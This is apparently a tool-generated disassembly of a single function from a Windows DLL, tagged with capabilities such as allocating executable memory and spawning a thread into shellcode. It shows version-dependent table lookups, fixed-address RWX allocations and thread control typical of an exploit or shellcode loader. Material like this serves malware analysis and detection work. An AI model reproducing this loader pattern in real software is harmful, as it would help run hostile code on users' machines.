Function at 0x1800036a0
Capabilities:
Allocate or change rwx memory
Check os version
Create thread
Resume thread
Spawn thread to rwx shellcode
Terminate thread

Disassembly:
push rbx
sub rsp, 0x150
mov ebx, dword [0x18000f5c0]
mov ecx, 0xc8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.USER32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
jne 0x1800036d7
xor eax, eax
add rsp, 0x150
pop rbx
ret
lea rcx, [0x18000f660]
xor edx, edx
mov r8d, 0x8f8
call sub.ntdll.dll_memset
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rcx, [rsp + 0x30]
mov dword [0x18000f668], ebx
mov qword [0x18000f660], rax
mov dword [rsp + 0x30], 0x11c
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
lea rbx, [0x180000000]
je 0x18000383d
cmp dword [rsp + 0x34], 5
jne 0x180003745
cmp dword [rsp + 0x38], 1
jb 0x180003745
xor r8d, r8d
cmp byte [rsp + 0x14a], 1
je 0x1800037af
mov r8d, 2
jmp 0x1800037af
lea rcx, [0x1800110a7]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
je 0x1800037a8
movsxd rcx, dword [rax + 0x3c]
movzx edx, word [rcx + rax + 0x40]
movzx eax, word [rcx + rax + 0x42]
cmp edx, 6
jne 0x180003799
test eax, eax
jne 0x180003774
lea r8d, [rdx - 2]
jmp 0x1800037af
cmp eax, 1
jne 0x18000377f
lea r8d, [rax + 5]
jmp 0x1800037af
cmp eax, 2
jne 0x18000378a
lea r8d, [rax + 6]
jmp 0x1800037af
cmp eax, 3
jne 0x1800036cc
lea r8d, [rax + 7]
jmp 0x1800037af
cmp edx, 0xa
jne 0x1800036cc
lea r8d, [rdx + 2]
jmp 0x1800037af
mov r8d, dword [0x18000f66c]
add r8d, 1
mov dword [0x18000f670], 1
mov dword [0x18000f674], 0x42
mov ecx, dword [rbx + r8*4 + 0xf100]
mov dword [0x18000f66c], r8d
mov dword [0x18000ff54], 0
lea eax, [rcx + 8]
mov dword [0x18000f67c], ecx
mov dword [0x18000f678], eax
mov eax, dword [rbx + r8*4 + 0xf0c8]
mov dword [0x18000f684], eax
mov eax, dword [rbx + r8*4 + 0xf138]
mov dword [0x18000f688], eax
mov dword [0x18000f6a8], eax
mov eax, dword [rbx + r8*4 + 0xf170]
mov dword [0x18000f694], eax
mov eax, dword [rbx + r8*4 + 0xf1a8]
mov dword [0x18000f698], eax
mov eax, dword [rbx + r8*4 + 0xf1e0]
mov dword [0x18000f69c], eax
jmp 0x180003844
mov r8d, dword [0x18000f66c]
cmp r8d, 0xc
jae 0x18000387c
cmp r8d, 8
mov eax, r8d
mov ecx, dword [rbx + rax*4 + 0xf218]
mov dword [0x18000f68c], ecx
je 0x180003871
cmp r8d, 0xa
je 0x180003871
lea eax, [rcx - 1]
mov dword [0x18000f690], eax
jmp 0x1800038b7
lea eax, [rcx + 1]
mov dword [0x18000f690], eax
jmp 0x1800038b7
xor ebx, ebx
nop
lea ecx, [rbx + 0x62]
call fcn.180002150
test eax, eax
mov dword [0x18000f690], eax
jne 0x1800038a2
add ebx, 1
cmp ebx, 5
jb 0x180003880
mov ecx, dword [0x18000f68c]
jmp 0x1800038b7
cmp dword [0x18000f670], 0
lea ecx, [rax + 1]
jne 0x1800038b1
lea ecx, [rax - 1]
mov dword [0x18000f68c], ecx
test ecx, ecx
je 0x1800036cc
mov edx, 0x1000
mov ecx, 0x20000
mov r9d, 0x40
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
cmp rax, 0x20000
je 0x180003949
add dword [0x18000f6a8], 1
mov edx, 0x1000
mov ecx, 0x2000000
mov r9d, 0x40
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
cmp rax, 0x2000000
je 0x180003949
add dword [0x18000f6a8], 1
mov edx, 0x1000
movabs rcx, 0x200000000
mov r9d, 0x40
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
movabs rcx, 0x200000000
cmp rax, rcx
jne 0x1800036cc
test rax, rax
je 0x1800036cc
mov qword [0x18000f6a0], rax
add rax, 0x188
lea rcx, [0x18000ff28]
mov qword [0x18000f6b0], rax
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
lea r8, [0x1800034f0]
xor r9d, r9d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 4
call qword [sym.imp.KERNEL32.dll_CreateThread]
test rax, rax
mov qword [0x18000f6c0], rax
je 0x1800036cc
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_ResumeThread]
cmp dword [0x18000ff54], 0
jne 0x1800039dd
nop
nop
cmp dword [0x18000ff50], 0xa
ja 0x1800039dd
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [0x18000ff54], 0
je 0x1800039c0
mov rcx, qword [0x18000f700]
call qword [sym.imp.USER32.dll_DestroyWindow]
mov rcx, qword [0x18000f6c8]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateThread]
mov rcx, qword [0x18000f6c0]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateThread]
lea rcx, [0x18000ff28]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov eax, dword [0x18000ff54]
add rsp, 0x150
pop rbx
ret